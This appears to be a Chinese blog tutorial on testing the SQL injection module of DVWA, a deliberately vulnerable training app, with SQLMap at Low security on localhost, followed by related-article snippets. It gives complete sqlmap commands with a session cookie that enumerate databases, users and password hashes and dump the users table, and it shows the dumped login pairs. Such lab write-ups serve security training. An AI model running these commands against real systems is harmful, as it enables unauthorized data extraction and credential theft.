(七)DVWA之SQL Injection--SQLMap测试(Low)
目录结构
一、测试需求分析
二、SQLMap利用SQL注入漏洞,获取数据库信息
1.判断是否存在注入点
2.获取DBMS中所有的数据库名称
3.获取Web应用当前连接的数据库
4.列出数据库中的所有用户
5.获取Web应用当前所操作的用户
6.列出可连接数据库的所有账户-对应的密码哈希
7.列出指定数据库中的所有数据表
8.列出指定数据表中的所有字段(列)
9.导出指定数据表中的列字段进行保存
10.根据导出的数据,验证数据有效性
一、测试需求分析
测试对象:DVWA漏洞系统--SQL Injection模块--User ID提交功能
防御等级:Low
测试目标:判断被测模块是否存在SQL注入漏洞,漏洞是否可利用,若可以则检测出对应的数据库数据
测试方式:SQLMap自动化工具
其前已经总结过SQLMap工具检测SQL注入漏洞的实践操作(SQLMap工具检测SQL注入漏洞、获取数据库中的数据),但当时是以未登录的身份直接可以获取并检测url场景,而本文则是针对需要登录之后才能获取到带参的被测url地址进行检测的应用场景。
二、SQLMap利用SQL注入漏洞,获取数据库信息
登录dvwa系统(admin--password),输入任意User ID进行提交,然后即可获取到提交时的url,此url可通过浏览器F12查看获取,也可通过抓包or拦截工具获取(如:Fiddler、BurpSuite)
Request URL: http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit

1.判断是否存在注入点
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch

直接对登录后获取的url进行检测,会302重定向跳转到登录时的url,说明检测的url需要带有登录权限才能验证,即SQLMap检测命令中需要带上登录dvwa后维持与服务器连接的cookie信息。
重新调整SQLMap检测命令,如下:python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch

2.获取DBMS中所有的数据库名称
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --dbs
3.获取Web应用当前连接的数据库
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --current-db
4.列出数据库中的所有用户
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --users
5.获取Web应用当前所操作的用户
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --current-user

6.列出可连接数据库的所有账户-对应的密码哈希
此处列出的是连接数据库的账户信息python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --passwords

7.列出指定数据库中的所有数据表
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch -D dvwa --tables

8.列出指定数据表中的所有字段(列)
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch -D dvwa -T users --columns

9.导出指定数据表中的列字段进行保存
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch -D dvwa -T users -C "user,password" --dump

10.根据导出的数据,验证数据有效性
user | password |
---|---|
1337 | charley |
admin | password |
gordonb | abc123 |
pablo | letmein |
smithy | password |
从以上导出的user---password组合中任取一组,回到前端登录界面进行验证
登录界面:http://localhost:8001/dvwa/login.php
用户密码:pablo---letmein
(七)DVWA之SQL Injection--SQLMap测试(Low)的更多相关文章
- 使用sqlmap注入DVWA的SQL Injection菜单
1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用a ...
- (九)DVWA之SQL Injection--SQLMap&Fiddler测试(High)
一.测试需求分析 测试对象:DVWA漏洞系统--SQL Injection模块--ID提交功能 防御等级:High 测试目标:判断被测模块是否存在SQL注入漏洞,漏洞是否可利用,若可以则检测出对应的数 ...
- (八)DVWA之SQL Injection--SQLMap&Burp测试(Medium)
一.测试需求分析 测试对象:DVWA漏洞系统--SQL Injection模块--User ID提交功能 防御等级:Medium 测试目标:判断被测模块是否存在SQL注入漏洞,漏洞是否可利用,若可以则 ...
- 【DVWA】SQL Injection(SQL 注入)通关教程
日期:2019-07-28 20:43:48 更新: 作者:Bay0net 介绍: 0x00.基本信息 关于 mysql 相关的注入,传送门. SQL 注入漏洞之 mysql - Bay0net - ...
- DVWA之SQL Injection
SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...
- DVWA之 SQL Injection(Blind)
SQL Injection(Blind) SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法 ...
- (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析
一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...
- DVWA(三):SQL injection 全等级SQL注入
(本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...
- (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析
一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...
随机推荐
- chmod指令用法
指令名称 : chmod 使用权限 : 所有使用者 使用方式 : chmod [-cfvR] [--help] [--version] mode file... 说明 : Linux/Unix 的档案 ...
- MySQL事务及实现、隔离级别及锁与优化
事务 事务是应用程序中一系列严密的操作,所有操作必须成功完成,否则在每个操作中所作的所有更改都会被撤消.事务是逻辑上的一组操作,要么都执行,要么都不执行. ACID简介 原子性(Atomicity) ...
- 14.2 Go性能优化
14.2 Go性能优化 优化手段 1.减少HTTP请求数,合并CSS.JS.图片 2.使用CDN,就近访问 3.启用nginx gzip压缩,降低传输内容大小 4.优化后端api性能 api服务性能优 ...
- 模仿 SWPU邮件页面
模仿SWPU邮件页面 要求 参考swpu 邮件主页,编写一个新闻后台登录页面,并用Js静态验证用户名密码是否为空,用户名为tom 密码为 123跳转到另一个页面 http://mail.swpu.ed ...
- gulp iconfont
参考如下网站 https://github.com/hjzheng/CUF_meeting_knowledge_share/tree/master/2015-7-24/gulp-test-iconfo ...
- python 读取txt文件
1.打开文件 #1)1 f = open("test.txt","r") #设置文件对象 f.close() #关闭文件 #2) #为了方便,避免忘记close ...
- python之module 'unittest' has no attribute 'TestCase' 解决方案
脚本报错如下: 解决方案: 这是脚本名称冲突所导致的报错,修改脚本名中重新执行,运行正常 注:脚本取名最好不要与模块和方法一致,避免不必要的冲突
- .net core HttpClient 使用之消息管道解析(二)
一.前言 前面分享了 .net core HttpClient 使用之掉坑解析(一),今天来分享自定义消息处理HttpMessageHandler和PrimaryHttpMessageHandler ...
- MarkDown语法使用(效果版本)
function syntaxHighlighting() { var n = 33; var s = "hello, こんにちは"; console.log(s); } plai ...
- [256个管理学理论]001.蝴蝶效应(Butterfly Effect)
蝴蝶效应(Butterfly Effect) 来自于大洋彼岸的让你看不懂的解释: 蝴蝶效应是指在一个动力系统中,初始条件下微小的变化能带动整个系统的长期的巨大的连锁反应,是一种混沌的现象.“蝴蝶效应” ...